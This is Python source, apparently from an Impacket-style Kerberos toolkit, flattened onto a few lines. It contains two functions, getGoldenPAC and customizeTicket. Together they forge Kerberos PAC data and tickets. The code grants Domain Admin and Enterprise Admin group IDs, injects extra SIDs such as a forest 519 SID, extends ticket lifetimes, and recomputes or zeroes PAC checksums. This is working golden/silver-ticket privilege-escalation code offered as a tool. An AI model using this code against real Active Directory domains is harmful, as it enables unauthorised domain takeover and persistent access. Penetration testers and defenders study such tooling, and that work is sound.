def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata[ 'UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata[ 'UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'), ) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print('\n') validationInfoBlob = validationInfo.getData( ) + validationInfo.getDataReferents() validationInfoAlignment = '\x00' * (( (len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode( sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = str(pacClientInfo) pacClientInfoAlignment = '\x00' * (( (len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = '\x00' * 16 serverChecksumBlob = str(serverChecksum) serverChecksumAlignment = '\x00' * (( (len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = '\x00' * 16 privSvrChecksumBlob = str(privSvrChecksum) privSvrChecksumAlignment = '\x00' * (( (len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) / 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) / 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = str(validationInfoIB) + str(pacClientInfoIB) + str( serverChecksumIB) + str( privSvrChecksumIB ) + validationInfoBlob + validationInfoAlignment + str( pacClientInfo) + pacClientInfoAlignment buffersTail = str(serverChecksum) + serverChecksumAlignment + str( privSvrChecksum) + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = str(pacType) # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff) #privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff) # If you want to do MD4, ucomment this #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest() #privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest() # If you want to do MD5, ucomment this serverChecksum['Signature'] = MD5.new(blobToChecksum).digest() privSvrChecksum['Signature'] = MD5.new( serverChecksum['Signature']).digest() buffersTail = str(serverChecksum) + serverChecksumAlignment + str( privSvrChecksum) + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = None authorizationData[0]['ad-type'] = int( constants.AuthorizationDataType.AD_WIN2K_PAC.value) authorizationData[0]['ad-data'] = str(pacType) return encoder.encode(authorizationData)
def customizeTicket(self, kdcRep, pacInfos): logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) encTicketPart = EncTicketPart() flags = list() flags.append(TicketFlags.forwardable.value) flags.append(TicketFlags.proxiable.value) flags.append(TicketFlags.renewable.value) if self.__domain == self.__server: flags.append(TicketFlags.initial.value) flags.append(TicketFlags.pre_authent.value) encTicketPart['flags'] = encodeFlags(flags) encTicketPart['key'] = noValue encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] if encTicketPart['key'][ 'keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(16)]) elif encTicketPart['key'][ 'keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(32)]) else: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(16)]) encTicketPart['crealm'] = self.__domain.upper() encTicketPart['cname'] = noValue encTicketPart['cname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value encTicketPart['cname']['name-string'] = noValue encTicketPart['cname']['name-string'][0] = self.__target encTicketPart['transited'] = noValue encTicketPart['transited']['tr-type'] = 0 encTicketPart['transited']['contents'] = '' encTicketPart['authtime'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit ticketDuration = datetime.datetime.utcnow() + datetime.timedelta( days=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue encTicketPart['authorization-data'][0] = noValue encTicketPart['authorization-data'][0][ 'ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value encTicketPart['authorization-data'][0]['ad-data'] = noValue # Let's locate the KERB_VALIDATION_INFO and Checksums if PAC_LOGON_INFO in pacInfos: data = pacInfos[PAC_LOGON_INFO] validationInfo = VALIDATION_INFO() validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) lenVal = len(validationInfo.getData()) validationInfo.fromStringReferents(data[lenVal:], lenVal) aTime = timegm( strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) unixTime = self.getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # Let's adjust username and other data validationInfo['Data']['LogonDomainName'] = self.__domain.upper() validationInfo['Data']['EffectiveName'] = self.__target # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') validationInfo['Data']['GroupIds'] = list() validationInfo['Data']['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED validationInfo['Data']['GroupIds'].append(groupMembership) # Let's add the extraSid if self.__options.extra_sid is not None: extrasids = self.__options.extra_sid.split(',') if validationInfo['Data']['SidCount'] == 0: # Let's be sure user's flag specify we have extra sids. validationInfo['Data']['UserFlags'] |= 0x20 validationInfo['Data'][ 'ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() for extrasid in extrasids: validationInfo['Data']['SidCount'] += 1 sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extrasid) sidRecord['Sid'] = sid sidRecord[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED # And, let's append the magicSid validationInfo['Data']['ExtraSids'].append(sidRecord) else: validationInfo['Data']['ExtraSids'] = NULL validationInfoBlob = validationInfo.getData( ) + validationInfo.getDataReferents() pacInfos[PAC_LOGON_INFO] = validationInfoBlob if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() print('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') logging.info('\tPAC_LOGON_INFO') # Let's now clear the checksums if PAC_SERVER_CHECKSUM in pacInfos: serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) if serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: serverChecksum['Signature'] = '\x00' * 12 elif serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: serverChecksum['Signature'] = '\x00' * 12 else: serverChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') if PAC_PRIVSVR_CHECKSUM in pacInfos: privSvrChecksum = PAC_SIGNATURE_DATA( pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 if privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: privSvrChecksum['Signature'] = '\x00' * 12 elif privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: privSvrChecksum['Signature'] = '\x00' * 12 else: privSvrChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') if PAC_CLIENT_INFO_TYPE in pacInfos: pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) pacClientInfo['ClientId'] = unixTime pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() else: raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') logging.info('\tPAC_CLIENT_INFO_TYPE') logging.info('\tEncTicketPart') if self.__domain == self.__server: encRepPart = EncASRepPart() else: encRepPart = EncTGSRepPart() encRepPart['key'] = noValue encRepPart['key']['keytype'] = encTicketPart['key']['keytype'] encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] encRepPart['last-req'] = noValue encRepPart['last-req'][0] = noValue encRepPart['last-req'][0]['lr-type'] = 0 encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) encRepPart['nonce'] = 123456789 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) encRepPart['flags'] = encodeFlags(flags) encRepPart['authtime'] = str(encTicketPart['authtime']) encRepPart['endtime'] = str(encTicketPart['endtime']) encRepPart['starttime'] = str(encTicketPart['starttime']) encRepPart['renew-till'] = str(encTicketPart['renew-till']) encRepPart['srealm'] = self.__domain.upper() encRepPart['sname'] = noValue encRepPart['sname']['name-string'] = noValue encRepPart['sname']['name-string'][0] = self.__service if self.__domain == self.__server: encRepPart['sname'][ 'name-type'] = PrincipalNameType.NT_SRV_INST.value encRepPart['sname']['name-string'][1] = self.__domain.upper() logging.info('\tEncAsRepPart') else: encRepPart['sname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value encRepPart['sname']['name-string'][1] = self.__server logging.info('\tEncTGSRepPart') return encRepPart, encTicketPart, pacInfos